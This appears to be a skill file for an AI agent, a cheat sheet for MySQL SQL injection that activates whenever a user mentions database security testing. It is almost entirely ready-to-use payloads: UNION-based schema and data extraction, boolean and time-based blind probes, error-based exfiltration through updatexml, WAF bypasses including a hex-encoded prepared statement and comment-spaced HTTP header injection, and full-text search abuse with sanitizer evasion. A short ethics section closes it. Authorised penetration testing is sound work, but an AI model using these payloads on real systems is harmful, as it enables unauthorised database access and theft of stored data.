| name | mysql-injection |
| description | MySQL SQL injection testing and exploitation. Use this skill whenever the user mentions SQL injection, MySQL database testing, database enumeration, WAF bypass, blind injection, union-based injection, error-based injection, or any database security testing against MySQL. Trigger for penetration testing, vulnerability assessment, or security research involving MySQL databases. |
MySQL Injection Testing
A comprehensive guide for MySQL SQL injection testing, enumeration, and exploitation.
Quick Start
When testing for MySQL injection vulnerabilities, follow this workflow:
- Confirm MySQL - Use version detection functions
- Determine injection type - Error-based, blind, union-based, or time-based
- Enumerate database - Get tables, columns, and data
- Extract data - Use appropriate exfiltration technique
- Bypass WAF - Apply evasion techniques if needed
Confirm MySQL Database
Use these functions to confirm you're working with MySQL:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Comments and Syntax
MySQL supports multiple comment styles for payload construction:
# MYSQL Comment
Comment for MySQL version 3.23.02
Detect Number of Columns
Use ORDER BY or UNION to determine column count:
order by 1
order by 2
order by 3
UniOn Select 1
UniOn Select 1,2
UniOn Select 1,2,3
Union-Based Injection
Once you know the column count, use UNION to extract data:
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=database()
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name='<TABLE_NAME>'
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoMTABLE_NAME
Blind Injection Techniques
Boolean-Based Blind
Test conditions that return true/false:
substr(version(),X,1)='r'
substring(version(),X,1)=0x70
ascii(substr(version(),X,1))=112
mid(version(),X,1)='5'
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
Time-Based Blind
Use SLEEP or BENCHMARK for timing oracles:
SLEEP(5)
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))
Error-Based Exfiltration
Extract data through error messages:
updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null)
updatexml(null, concat(0x7e, (SELECT SUBSTRING(version(),1,1)), 0x7e), null)
Database Enumeration Flow
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='<TABLE_NAME>';
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>;
SELECT user FROM mysql.user WHERE file_priv='Y';
Modern MySQL Alternatives
For newer MySQL versions, use these alternatives to bypass WAFs:
mysql.innodb_table_stats
sys.x$schema_flattened_keys
sys.schema_table_statistics
WAF Bypass Techniques
Space Removal with Comments
Use /**/ to replace spaces (MySQL treats it as whitespace):
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'```
This becomes: `' OR SLEEP(5)-- -'`
### Prepared Statement Bypass
Execute queries through prepared statements to bypass WAFs:
```sql
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Injection Without Commas
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving Values Without Column Names
select (select "", "") = (SELECT * from demo limit 1);
select (select "", "", "") < (SELECT * from demo limit 1);
select (select 1, 'flaf') = (SELECT * from demo limit 1);
Full-Text Search Boolean Mode Abuse
When applications use MATCH(col) AGAINST('...' IN BOOLEAN MODE), you can abuse Boolean operators:
Operators Available
+ - Must include
- - Must not include
* - Trailing wildcard
"..." - Exact phrase
() - Grouping
</>/~ - Weights
Exploitation Pattern
AGAINST('+admin*' IN BOOLEAN MODE)
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
Enumeration Workflow
- Test
{FUZZ} = a…z,0…9 with +a*, +b*, etc.
- For positive prefixes, branch:
a* → aa* / ab* / …
- Repeat to recover full strings
- Treat redirects as "match", error pages as "no match"
Sanitizer Bypass
- Boundary-trim preserving: Submit
prefix*ZZ - cleaner trims ZZ but leaves *
- Early-break stripping: Send
&&&&& +jack*ZZ - first token meets length threshold, second carries payload
Useful Functions Reference
SELECT hex(database())
SELECT conv(hex(database()),16,10)
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')
SELECT uncompress(compress(database()))
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),ldap(),rdap(),left(),right(),instr(),sleep()
Version Detection Alternatives
select @@innodb_version;
select @@version;
select version();
MySQL History
View executed queries:
SELECT * FROM sys.x$statement_analysis;
Important Notes
- Prepared statements don't protect against semantic abuse of REGEXP or search operators
- Boolean mode abuse works even with prepared statements - operators are evaluated inside quotes
- WAF bypass often requires combining multiple techniques
- Timing attacks are reliable when other methods are blocked
- Error messages can leak data even in "boolean" test scenarios
Safety and Ethics
- Only test systems you have explicit authorization to test
- Document all findings for responsible disclosure
- Use these techniques for security research and authorized penetration testing only
- Be aware of legal implications in your jurisdiction
References